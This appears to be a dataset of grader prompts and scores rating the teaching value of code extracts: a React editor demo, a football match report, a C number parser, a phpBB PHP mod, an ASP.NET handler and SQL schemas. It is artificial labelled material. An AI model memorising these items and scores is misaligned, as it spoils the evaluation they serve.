sua vingança contra Lord Carnuss...
</p>
</section>
<div>
<h3 class="subtitle">Ações disponíveis</h3>
<div class="center" id="div-actions">
<button id='action-end-game'></button>
</div>
</div>
<footer>
<hr />
<br />
</footer>
</div>
<!-- Compiled and minified JavaScript -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
<script defer src="./js/app.js"></script>
</body>
</html>
|
Below is an extract from a JavaScript program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid JavaScript code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical JavaScript concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., asynchronous programming). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching JavaScript. It should be similar to a school exercise, a tutorial, or a JavaScript course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching JavaScript. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
// use jsx to render html, do not modify simple.html
import 'rc-editor-core/assets/index.less';
import { EditorCore, Toolbar, GetText, getHTML, toEditorState } from 'rc-editor-core';
import React from 'react';
import ReactDOM from 'react-dom';
import BasicStyle from 'rc-editor-plugin-basic-style';
import Emoji from 'rc-editor-plugin-emoji';
import 'rc-editor-plugin-emoji/assets/index.css';
const plugins = [BasicStyle, Emoji];
const toolbars = [['bold', 'italic', 'underline', 'strikethrough', '|', 'superscript', 'subscript', '|', 'emoji']];
function editorChange(editorState) {
console.log('>> editorExport:', GetText(editorState, { encode: true }));
}
class Editor extends React.Component {
state = {
defaultValue: "hello world",
};
reset = () => {
this.refs.editor.Reset();
}
render() {
return (<div>
<button onClick={this.reset}> reset </button>
<EditorCore
ref="editor"
plugins={plugins}
toolbars={toolbars}
style={{width: 300, height: 200, overflowY: 'auto'}}
onChange={(editorState) => editorChange(editorState)}
onFocus={(ev) => console.log('focus', ev)}
onBlur={(ev) => console.log('blur', ev)}
/>
</div>);
}
}
ReactDOM.render(<Editor />, document.getElementById('__react-content'));
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
javascript
| 4 |
// use jsx to render html, do not modify simple.html
import 'rc-editor-core/assets/index.less';
import { EditorCore, Toolbar, GetText, getHTML, toEditorState } from 'rc-editor-core';
import React from 'react';
import ReactDOM from 'react-dom';
import BasicStyle from 'rc-editor-plugin-basic-style';
import Emoji from 'rc-editor-plugin-emoji';
import 'rc-editor-plugin-emoji/assets/index.css';
const plugins = [BasicStyle, Emoji];
const toolbars = [['bold', 'italic', 'underline', 'strikethrough', '|', 'superscript', 'subscript', '|', 'emoji']];
function editorChange(editorState) {
console.log('>> editorExport:', GetText(editorState, { encode: true }));
}
class Editor extends React.Component {
state = {
defaultValue: "hello world",
};
reset = () => {
this.refs.editor.Reset();
}
render() {
return (<div>
<button onClick={this.reset}> reset </button>
<EditorCore
ref="editor"
plugins={plugins}
toolbars={toolbars}
style={{width: 300, height: 200, overflowY: 'auto'}}
onChange={(editorState) => editorChange(editorState)}
onFocus={(ev) => console.log('focus', ev)}
onBlur={(ev) => console.log('blur', ev)}
/>
</div>);
}
}
ReactDOM.render(<Editor />, document.getElementById('__react-content'));
|
Below is an extract from a Markdown document. Evaluate its educational value, considering both Markdown usage and the content itself. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the document uses basic Markdown syntax correctly (e.g., headers, lists, or emphasis), regardless of content.
- Add another point if the document's content has some educational value, even if it's basic or limited in scope. The Markdown usage should be correct but might not be diverse.
- Award a third point if the document demonstrates a good range of Markdown features (e.g., links, images, code blocks) AND the content provides clear, accurate information on a topic. The structure should be logical and easy to follow.
- Give a fourth point if the document is well-suited for teaching both its subject matter and effective Markdown usage. It should use varied Markdown elements to enhance the presentation of educational content, similar to a well-crafted tutorial or lesson.
- Grant a fifth point if the document is exceptional both in its use of Markdown and the educational value of its content. It should demonstrate advanced Markdown features (e.g., tables, task lists, footnotes), have an engaging structure, and provide comprehensive, high-quality educational content on its topic. The document should serve as an excellent example of using Markdown for educational purposes.
The extract:
Title: Vitória Guimarães vs. Olympique Lyon, 2013/12/12
Date: 2013/12/12 00:00
Category: sports
Tags: football, football scores, Vitória Guimarães, Olympique Lyon
Slug: vitoria-guimaraes-vs-olympique-lyon
Author: carbonero
Vitória Guimarães 1 - 2 Olympique Lyon
<table class="table table-striped table-hover"><thead><tr><th align="left">minute</th><th align="left">event</th><th align="left">info</th></tr></thead><tbody>
<tr><td align="left">85'</td><td align="left"><img src="/images/sports/football/events/YC.png" /></td><td align="left">Moreno gets yellow.</td></tr>
<tr><td align="left">85'</td><td align="left"><img src="/images/sports/football/events/YC.png" /></td><td align="left"><NAME> gets yellow.</td></tr>
<tr><td align="left">82'</td><td align="left"><img src="/images/sports/football/events/YC.png" /></td><td align="left">Paulo Oliveira gets yellow.</td></tr>
<tr><td align="left">82'</td><td align="left"><img src="/images/sports/football/events/SI.png" /></td><td align="left"><NAME> enters the game and replaces Tómané.</td></tr>
<tr><td align="left">81'</td><td align="left"><img src="/images/sports/football/events/SI.png" /></td><td align="left"><NAME> enters the game and replaces <NAME>.</td></tr>
<tr><td align="left">78'</td><td align="left"><img src="/images/sports/football/events/SI.png" /></td><td align="left"><NAME> enters the game and replaces Crivellaro.</td></tr>
<tr><td align="left">74'</td><td align="left"><img src="/images/sports/football/events/SI.png" /></td><td align="left"><NAME> enters the game and replaces A. Pléa.</td></tr>
<tr><td align="left">71'</td><td align="left"><img src="/images/sports/football/events/SI.png" /></td><td align="left"><NAME> enters the game and replaces C. Malonga .</td></tr>
<tr><td align="left">65'</td><td align="left"><img src="/images/sports/football/events/G.png" /></td><td align="left"><NAME> has scored a goal for Olympique Lyon!</td></tr>
<tr><td align="left">64'</td><td align="left"><img src="/images/sports/fo
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
markdown
| 3 |
Title: Vitória Guimarães vs. Olympique Lyon, 2013/12/12
Date: 2013/12/12 00:00
Category: sports
Tags: football, football scores, Vitória Guimarães, Olympique Lyon
Slug: vitoria-guimaraes-vs-olympique-lyon
Author: carbonero
Vitória Guimarães 1 - 2 Olympique Lyon
<table class="table table-striped table-hover"><thead><tr><th align="left">minute</th><th align="left">event</th><th align="left">info</th></tr></thead><tbody>
<tr><td align="left">85'</td><td align="left"><img src="/images/sports/football/events/YC.png" /></td><td align="left">Moreno gets yellow.</td></tr>
<tr><td align="left">85'</td><td align="left"><img src="/images/sports/football/events/YC.png" /></td><td align="left"><NAME> gets yellow.</td></tr>
<tr><td align="left">82'</td><td align="left"><img src="/images/sports/football/events/YC.png" /></td><td align="left">Paulo Oliveira gets yellow.</td></tr>
<tr><td align="left">82'</td><td align="left"><img src="/images/sports/football/events/SI.png" /></td><td align="left"><NAME> enters the game and replaces Tómané.</td></tr>
<tr><td align="left">81'</td><td align="left"><img src="/images/sports/football/events/SI.png" /></td><td align="left"><NAME> enters the game and replaces <NAME>.</td></tr>
<tr><td align="left">78'</td><td align="left"><img src="/images/sports/football/events/SI.png" /></td><td align="left"><NAME> enters the game and replaces Crivellaro.</td></tr>
<tr><td align="left">74'</td><td align="left"><img src="/images/sports/football/events/SI.png" /></td><td align="left"><NAME> enters the game and replaces A. Pléa.</td></tr>
<tr><td align="left">71'</td><td align="left"><img src="/images/sports/football/events/SI.png" /></td><td align="left"><NAME> enters the game and replaces C. Malonga .</td></tr>
<tr><td align="left">65'</td><td align="left"><img src="/images/sports/football/events/G.png" /></td><td align="left"><NAME> has scored a goal for Olympique Lyon!</td></tr>
<tr><td align="left">64'</td><td align="left"><img src="/images/sports/football/events/SI.png" /></td><td align="left"><NAME> enters the game and replaces B. Gomis.</td></tr>
<tr><td align="left">62'</td><td align="left"><img src="/images/sports/football/events/Y2C.png" /></td><td align="left"><NAME> gets a second yellow card and is sent off.</td></tr>
<tr><td align="left">62'</td><td align="left"><img src="/images/sports/football/events/PG.png" /></td><td align="left">Penalty goal scored by <NAME> for Olympique Lyon!</td></tr>
<tr><td align="left">57'</td><td align="left"><img src="/images/sports/football/events/YC.png" /></td><td align="left"><NAME> gets yellow.</td></tr>
<tr><td align="left">11'</td><td align="left"><img src="/images/sports/football/events/G.png" /></td><td align="left">Tómané has scored a goal for Vitória Guimarães!</td></tr>
</tr></tbody></table>
|
Below is an extract from a C program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., kernel development and compiler design). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C. It should be similar to a school exercise, a tutorial, or a C course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
#include<stdio.h>
#include<math.h>
#include<string.h>
#define SMALLEST_INT64 (pow(2,63)-1)*(-1)
long int parseINT(char s[20])
{
int flag = 0, flag1 = 0;
char c;
int i,digit;
long int number = 0;
if(s[0]=='-')
{
flag = 1;
}
for(i=0;i<strlen(s);i++)
{
if(flag==1)
{
flag = 0;
flag1 = 1;
continue;
}
c = s[i];
if(c>='0' && c<='9') //to confirm it's a digit
{
digit = c - '0';
number = number*10 + digit;
}
}
if(flag1==1) number = number*(-1);
return number;
}
double parseDefult(char s[20])
{
int flag = 0, flag1 = 0 , pointFlag = 0 , k = 10;
char c;
int i,digit;
long double number = 0;
double pointNumber = 0.0 ;
if(s[0]=='-')
{
flag = 1;
}
else if(s[0] >= 48 && s[0] <= 57){ // digit 0-9
flag = 2 ;
}
else flag = 3 ;
for(i=0;i<strlen(s) && flag!= 3 ;i++)
{
if(flag==1)
{
flag = 0;
flag1 = 1;
continue;
}
c = s[i];
if(c>='0' && c<='9' && pointFlag == 0) //to parse digits
{
digit = c - '0';
number = number*10 + digit;
}
if(s[i] == '.'){
if(pointFlag==1) break ;
pointFlag = 1 ;
i++ ;
c = s[i] ;
}
if(c>='0' && c<='9' && pointFlag == 1) //to confirm it's a digit
{
digit = c - '0';
pointNumber = pointNumber + digit*1.0/k;
k = k * 10 ;
}
if( s[i+1] < 48 && s[i+1] > 57 && s[i+1]!=46){
break ;
}
}
if(pointFlag==1){
//printf("%f\n",pointNumber);
number = number + pointNumber ;
}
if(flag1==1) number = number*(-1);
return number;
}
int type(char s[20]){
int flag = -1 ;
if(s[0]=='-')
{
flag = 1 ;
}
for(int i=0 ; i<strlen(s) ; i++){
if(flag==1) {
flag = 0 ;
continue ;
}
//indicates character is non digit
if( s[i] < 48 || s[i] > 57 ){
return 0 ;
}
}
return 1 ;
}
int main(void)
{
char iVal[20];
scanf("%s",iVal);
//printf("%d\n",type(iV
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
c
| 3 |
#include<stdio.h>
#include<math.h>
#include<string.h>
#define SMALLEST_INT64 (pow(2,63)-1)*(-1)
long int parseINT(char s[20])
{
int flag = 0, flag1 = 0;
char c;
int i,digit;
long int number = 0;
if(s[0]=='-')
{
flag = 1;
}
for(i=0;i<strlen(s);i++)
{
if(flag==1)
{
flag = 0;
flag1 = 1;
continue;
}
c = s[i];
if(c>='0' && c<='9') //to confirm it's a digit
{
digit = c - '0';
number = number*10 + digit;
}
}
if(flag1==1) number = number*(-1);
return number;
}
double parseDefult(char s[20])
{
int flag = 0, flag1 = 0 , pointFlag = 0 , k = 10;
char c;
int i,digit;
long double number = 0;
double pointNumber = 0.0 ;
if(s[0]=='-')
{
flag = 1;
}
else if(s[0] >= 48 && s[0] <= 57){ // digit 0-9
flag = 2 ;
}
else flag = 3 ;
for(i=0;i<strlen(s) && flag!= 3 ;i++)
{
if(flag==1)
{
flag = 0;
flag1 = 1;
continue;
}
c = s[i];
if(c>='0' && c<='9' && pointFlag == 0) //to parse digits
{
digit = c - '0';
number = number*10 + digit;
}
if(s[i] == '.'){
if(pointFlag==1) break ;
pointFlag = 1 ;
i++ ;
c = s[i] ;
}
if(c>='0' && c<='9' && pointFlag == 1) //to confirm it's a digit
{
digit = c - '0';
pointNumber = pointNumber + digit*1.0/k;
k = k * 10 ;
}
if( s[i+1] < 48 && s[i+1] > 57 && s[i+1]!=46){
break ;
}
}
if(pointFlag==1){
//printf("%f\n",pointNumber);
number = number + pointNumber ;
}
if(flag1==1) number = number*(-1);
return number;
}
int type(char s[20]){
int flag = -1 ;
if(s[0]=='-')
{
flag = 1 ;
}
for(int i=0 ; i<strlen(s) ; i++){
if(flag==1) {
flag = 0 ;
continue ;
}
//indicates character is non digit
if( s[i] < 48 || s[i] > 57 ){
return 0 ;
}
}
return 1 ;
}
int main(void)
{
char iVal[20];
scanf("%s",iVal);
//printf("%d\n",type(iVal));
if(type(iVal) == 1){
long int x = parseINT(iVal);
if(x<0)
{
x = x*(-1);
//printf("%ld\n",x);
}
printf("Output: %ld\n",x);
}
else if(type(iVal) == 0){
double x = parseDefult(iVal);
if(x<0)
{
x = x*(-1);
if(x<=SMALLEST_INT64)
{
printf("Error: Number overflow\n");
return -1;
}
}
printf("Output: %f\n",x);
}
}
|
Below is an extract from a PHP program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid PHP code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical PHP concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., object-oriented programming, namespaces). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching PHP. It should be similar to a school exercise, a tutorial, or a PHP course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching PHP. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
<?php
/***************************************************************************
* totally_erc.php
* ---------------
* begin : Saturday, Mar 19, 2005
* copyright : reddog - http://www.reddevboard.com/
* version : 1.0.4 - 27/05/2005
*
***************************************************************************/
/***************************************************************************
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
***************************************************************************/
if ( !defined('IN_PHPBB') )
{
die('Hacking attempt');
}
//--------------------------------------------------------------------------------------------------
//
// totally_erc() : the color will be with you ;)
//
//--------------------------------------------------------------------------------------------------
function totally_erc($erc,$number=0)
{
global $whosonline_color, $id_color, $user_group_color;
global $board_config, $theme, $db;
$erc_level = ($number) ? 'user_level' . $number : 'user_level';
$erc_user = ($number) ? 'username' . $number : 'username';
$erc_color = ($number) ? 'user_whosonline_color' . $number : 'user_whosonline_color';
$erc_id = ($number) ? 'user_id' . $number : 'user_id';
switch ( $erc[$erc_level] )
{
case ADMIN:
$username_erc = '<strong>' . $erc[$erc_user] . '</strong>';
$style_color = ' style="color:#' . $theme['fontcolor3'] . '"';
break;
case MOD:
$username_erc = '<strong>' . $erc[$erc_user] . '</strong>';
$style_color = ' style="color:#' . $theme['fontcolor2'] . '"';
break;
default:
$username_erc = '<strong>' . $erc[$erc_user] . '</strong>';
$style_color = '';
break;
}
if ( $erc[$erc_color] && $board_config['allow_totally_erc'] )
{
$username_er
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
php
| 2 |
<?php
/***************************************************************************
* totally_erc.php
* ---------------
* begin : Saturday, Mar 19, 2005
* copyright : reddog - http://www.reddevboard.com/
* version : 1.0.4 - 27/05/2005
*
***************************************************************************/
/***************************************************************************
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
***************************************************************************/
if ( !defined('IN_PHPBB') )
{
die('Hacking attempt');
}
//--------------------------------------------------------------------------------------------------
//
// totally_erc() : the color will be with you ;)
//
//--------------------------------------------------------------------------------------------------
function totally_erc($erc,$number=0)
{
global $whosonline_color, $id_color, $user_group_color;
global $board_config, $theme, $db;
$erc_level = ($number) ? 'user_level' . $number : 'user_level';
$erc_user = ($number) ? 'username' . $number : 'username';
$erc_color = ($number) ? 'user_whosonline_color' . $number : 'user_whosonline_color';
$erc_id = ($number) ? 'user_id' . $number : 'user_id';
switch ( $erc[$erc_level] )
{
case ADMIN:
$username_erc = '<strong>' . $erc[$erc_user] . '</strong>';
$style_color = ' style="color:#' . $theme['fontcolor3'] . '"';
break;
case MOD:
$username_erc = '<strong>' . $erc[$erc_user] . '</strong>';
$style_color = ' style="color:#' . $theme['fontcolor2'] . '"';
break;
default:
$username_erc = '<strong>' . $erc[$erc_user] . '</strong>';
$style_color = '';
break;
}
if ( $erc[$erc_color] && $board_config['allow_totally_erc'] )
{
$username_erc = '<strong>' . $erc[$erc_user] . '</strong>';
$style_color = ' style="color:' . $id_color[$erc[$erc_color]] . '"';
}
else if ( $user_group_color[$erc[$erc_id]] && $board_config['allow_totally_erc'] )
{
$username_erc = '<strong>' . $erc[$erc_user] . '</strong>';
$style_color = ' style="color:' . $user_group_color[$erc[$erc_id]] . '"';
}
return array('username_erc' => $username_erc, 'style_color' => $style_color);
}
//--------------------------------------------------------------------------------------------------
//
// check_erc() : check color from erc and build the cache erc file
//
//--------------------------------------------------------------------------------------------------
function check_erc()
{
global $phpbb_root_path, $phpEx, $db, $board_config, $lang;
global $whosonline_color, $id_color, $user_group_color;
$data = "<?php\n";
$ranks_sql= " SELECT *
FROM " . WHOSONLINE_RANKS_TABLE . "
ORDER BY whosonline_rank_order";
if ( !($ranks_result = $db->sql_query($ranks_sql)) )
{
message_die(GENERAL_MESSAGE, 'Fatal Error into getting extend rank color');
}
while( $rank_row = $db->sql_fetchrow($ranks_result) )
{
$rank_name = ($rank_row['whosonline_lang_key'] && isset($lang[$rank_row['whosonline_rank_name']])) ? $lang[$rank_row['whosonline_rank_name']] : $rank_row['whosonline_rank_name'];
$whosonline_color .= '[ <span style="color:' . $rank_row['whosonline_rank_color'] . '"><strong>' . $rank_name . '</strong></span> ] ';
$id_color[$rank_row['whosonline_rank_id']] = $rank_row['whosonline_rank_color'];
$data .= '$id_color[' . $rank_row['whosonline_rank_id'] . '] = \'' . $rank_row['whosonline_rank_color'] . "';\n";
}
$data .= '$whosonline_color = \'' . addslashes($whosonline_color) . "';\n";
$group_user_sql= "SELECT ug.group_id, ug.user_id, g.group_color
FROM " . USER_GROUP_TABLE . " ug, " . GROUPS_TABLE . " g, " . WHOSONLINE_RANKS_TABLE . " wr
WHERE ug.group_id = g.group_id
AND g.group_color <> '0'
AND ug.user_pending <> '1'
AND wr.whosonline_rank_id = g.group_color
ORDER BY wr.whosonline_rank_order DESC";
if ( !($group_user_result = $db->sql_query($group_user_sql)) )
{
message_die(GENERAL_MESSAGE, 'Fatal Error into getting user in group');
}
while( $group_user_row = $db->sql_fetchrow($group_user_result) )
{
$user_group_color[$group_user_row['user_id']] = $id_color[$group_user_row['group_color']];
$data .= '$user_group_color[' . $group_user_row['user_id'] . '] = \'' . $id_color[ $group_user_row['group_color'] ] . "';\n";
}
$data .= "?>";
if ($board_config['cache_erc'])
{
// output to file
$cache_file_erc = $phpbb_root_path . 'cache/def_erc.' . $phpEx;
$fp = @fopen( $cache_file_erc, 'w' );
@fwrite($fp, $data);
@fclose($fp);
@chmod($cache_file_erc, 0666);
}
return;
}
//
// Generate erc data
//
if ( $board_config['allow_totally_erc'] )
{
if ($board_config['cache_erc'])
{
$whosonline_color = '';
@include( $phpbb_root_path . 'cache/def_erc.' . $phpEx );
if ( empty($whosonline_color) )
{
check_erc();
include( $phpbb_root_path . 'cache/def_erc.' . $phpEx );
}
@reset($whosonline_color);
}
else
{
check_erc();
}
}
?>
|
Below is an extract from a C# program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
Add 1 point if the program contains valid C# code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
Add another point if the program addresses practical C# concepts, even if it lacks comments.
Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., LINQ, reflection). The code should be well-structured and contain some comments.
Give a fourth point if the program is self-contained and highly relevant to teaching C#. It should be similar to a school exercise, a tutorial, or a C# course section.
Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C#. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
namespace WebApplication2
{
public partial class WebForm3 : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected void Button1_Click(object sender, EventArgs e)
{
int a, b;
a = int.Parse(TextBox1.Text);
b = int.Parse(TextBox2.Text);
if (a > b)
Label1.Text = a + " is the greater number";
else
Label1.Text = b + " is the greater number";
}
}
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
csharp
| 3 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
namespace WebApplication2
{
public partial class WebForm3 : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected void Button1_Click(object sender, EventArgs e)
{
int a, b;
a = int.Parse(TextBox1.Text);
b = int.Parse(TextBox2.Text);
if (a > b)
Label1.Text = a + " is the greater number";
else
Label1.Text = b + " is the greater number";
}
}
}
|
Below is an extract of SQL code. Evaluate whether it has a high educational value and could help teach SQL and database concepts. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the code contains valid SQL syntax, even if it's just basic queries or simple table operations.
- Add another point if the code addresses practical SQL concepts (e.g., JOINs, subqueries), even if it lacks comments.
- Award a third point if the code is suitable for educational use and introduces key concepts in SQL and database management, even if the topic is somewhat advanced (e.g., indexes, transactions). The code should be well-structured and contain some comments.
- Give a fourth point if the code is self-contained and highly relevant to teaching SQL. It should be similar to a database course exercise, demonstrating good practices in query writing and database design.
- Grant a fifth point if the code is outstanding in its educational value and is perfectly suited for teaching SQL and database concepts. It should be well-written, easy to understand, and contain explanatory comments that clarify the purpose and impact of each part of the code.
The extract:
CREATE INDEX threads_slug ON threads (slug);
CREATE INDEX forums_slug ON forums (slug);
CREATE INDEX users_nickname ON users (nickname);
CREATE INDEX votes_thread ON votes (thread_id, nickname, voice);
CREATE INDEX posts_thread_id ON posts (thread_id, id);
CREATE INDEX posts_thread_id_children ON posts (thread_id, children);
CREATE INDEX posts_thread_id_children_desc ON posts (thread_id, children DESC);
CREATE INDEX threads_forum_created ON threads (forum, created);
CREATE INDEX forumsusers_forum_slug_nickname ON forums_users (forum_slug, nickname);
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
sql
| 3 |
CREATE INDEX threads_slug ON threads (slug);
CREATE INDEX forums_slug ON forums (slug);
CREATE INDEX users_nickname ON users (nickname);
CREATE INDEX votes_thread ON votes (thread_id, nickname, voice);
CREATE INDEX posts_thread_id ON posts (thread_id, id);
CREATE INDEX posts_thread_id_children ON posts (thread_id, children);
CREATE INDEX posts_thread_id_children_desc ON posts (thread_id, children DESC);
CREATE INDEX threads_forum_created ON threads (forum, created);
CREATE INDEX forumsusers_forum_slug_nickname ON forums_users (forum_slug, nickname);
|
Below is an extract of SQL code. Evaluate whether it has a high educational value and could help teach SQL and database concepts. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the code contains valid SQL syntax, even if it's just basic queries or simple table operations.
- Add another point if the code addresses practical SQL concepts (e.g., JOINs, subqueries), even if it lacks comments.
- Award a third point if the code is suitable for educational use and introduces key concepts in SQL and database management, even if the topic is somewhat advanced (e.g., indexes, transactions). The code should be well-structured and contain some comments.
- Give a fourth point if the code is self-contained and highly relevant to teaching SQL. It should be similar to a database course exercise, demonstrating good practices in query writing and database design.
- Grant a fifth point if the code is outstanding in its educational value and is perfectly suited for teaching SQL and database concepts. It should be well-written, easy to understand, and contain explanatory comments that clarify the purpose and impact of each part of the code.
The extract:
/*
Navicat SQLite Data Transfer
Source Server : pruebas JR2
Source Server Type : SQLite
Source Server Version : 3021000
Source Schema : main
Target Server Type : SQLite
Target Server Version : 3021000
File Encoding : 65001
Date: 12/03/2018 12:33:42
*/
PRAGMA foreign_keys = false;
-- ----------------------------
-- Table structure for aux
-- ----------------------------
DROP TABLE IF EXISTS "aux";
CREATE TABLE "aux" (
"hora_inicial" INTEGER,
"hora_final" INTEGER
);
-- ----------------------------
-- Table structure for horario
-- ----------------------------
DROP TABLE IF EXISTS "horario";
CREATE TABLE "horario" (
"hora_inicial" TEXT,
"hora_final" TEXT
);
-- ----------------------------
-- Table structure for mensaje
-- ----------------------------
DROP TABLE IF EXISTS "mensaje";
CREATE TABLE "mensaje" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"fichero" TEXT(255),
"existe" TEXT(1),
"fecha_ini" TEXT(10),
"fecha_fin" TEXT(10),
"playtime" TEXT(5)
);
-- ----------------------------
-- Table structure for musica
-- ----------------------------
DROP TABLE IF EXISTS "musica";
CREATE TABLE "musica" (
"carpeta" TEXT(4096)
);
-- ----------------------------
-- Table structure for publi
-- ----------------------------
DROP TABLE IF EXISTS "publi";
CREATE TABLE "publi" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"fichero" TEXT(255),
"existe" TEXT(1),
"fecha_ini" TEXT(10),
"fecha_fin" TEXT(10),
"gap" INTEGER
);
-- ----------------------------
-- Table structure for sqlite_sequence
-- ----------------------------
DROP TABLE IF EXISTS "sqlite_sequence";
CREATE TABLE "sqlite_sequence" (
"name",
"seq"
);
-- ----------------------------
-- Records of sqlite_sequence
-- ----------------------------
INSERT INTO "sqlite_sequence" VALUES ('tienda', 0);
INSERT INTO "sqlite_sequence" VALUES ('usuarios', 0);
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
sql
| 2 |
/*
Navicat SQLite Data Transfer
Source Server : pruebas JR2
Source Server Type : SQLite
Source Server Version : 3021000
Source Schema : main
Target Server Type : SQLite
Target Server Version : 3021000
File Encoding : 65001
Date: 12/03/2018 12:33:42
*/
PRAGMA foreign_keys = false;
-- ----------------------------
-- Table structure for aux
-- ----------------------------
DROP TABLE IF EXISTS "aux";
CREATE TABLE "aux" (
"hora_inicial" INTEGER,
"hora_final" INTEGER
);
-- ----------------------------
-- Table structure for horario
-- ----------------------------
DROP TABLE IF EXISTS "horario";
CREATE TABLE "horario" (
"hora_inicial" TEXT,
"hora_final" TEXT
);
-- ----------------------------
-- Table structure for mensaje
-- ----------------------------
DROP TABLE IF EXISTS "mensaje";
CREATE TABLE "mensaje" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"fichero" TEXT(255),
"existe" TEXT(1),
"fecha_ini" TEXT(10),
"fecha_fin" TEXT(10),
"playtime" TEXT(5)
);
-- ----------------------------
-- Table structure for musica
-- ----------------------------
DROP TABLE IF EXISTS "musica";
CREATE TABLE "musica" (
"carpeta" TEXT(4096)
);
-- ----------------------------
-- Table structure for publi
-- ----------------------------
DROP TABLE IF EXISTS "publi";
CREATE TABLE "publi" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"fichero" TEXT(255),
"existe" TEXT(1),
"fecha_ini" TEXT(10),
"fecha_fin" TEXT(10),
"gap" INTEGER
);
-- ----------------------------
-- Table structure for sqlite_sequence
-- ----------------------------
DROP TABLE IF EXISTS "sqlite_sequence";
CREATE TABLE "sqlite_sequence" (
"name",
"seq"
);
-- ----------------------------
-- Records of sqlite_sequence
-- ----------------------------
INSERT INTO "sqlite_sequence" VALUES ('tienda', 0);
INSERT INTO "sqlite_sequence" VALUES ('usuarios', 0);
INSERT INTO "sqlite_sequence" VALUES ('publi', 0);
INSERT INTO "sqlite_sequence" VALUES ('mensaje', 0);
-- ----------------------------
-- Table structure for st_prog_music
-- ----------------------------
DROP TABLE IF EXISTS "st_prog_music";
CREATE TABLE "st_prog_music" (
"estado" TEXT
);
-- ----------------------------
-- Table structure for tienda
-- ----------------------------
DROP TABLE IF EXISTS "tienda";
CREATE TABLE "tienda" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"dominio" TEXT,
"last_connect" INTEGER
);
-- ----------------------------
-- Table structure for usuarios
-- ----------------------------
DROP TABLE IF EXISTS "usuarios";
CREATE TABLE "usuarios" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"user" TEXT(25),
"pass" TEXT(25)
);
-- ----------------------------
-- Auto increment value for mensaje
-- ----------------------------
-- ----------------------------
-- Auto increment value for publi
-- ----------------------------
-- ----------------------------
-- Auto increment value for tienda
-- ----------------------------
-- ----------------------------
-- Auto increment value for usuarios
-- ----------------------------
PRAGMA foreign_keys = true;
|
Below is an extract from a Go program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Go code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Go concepts, even if it lacks comments.
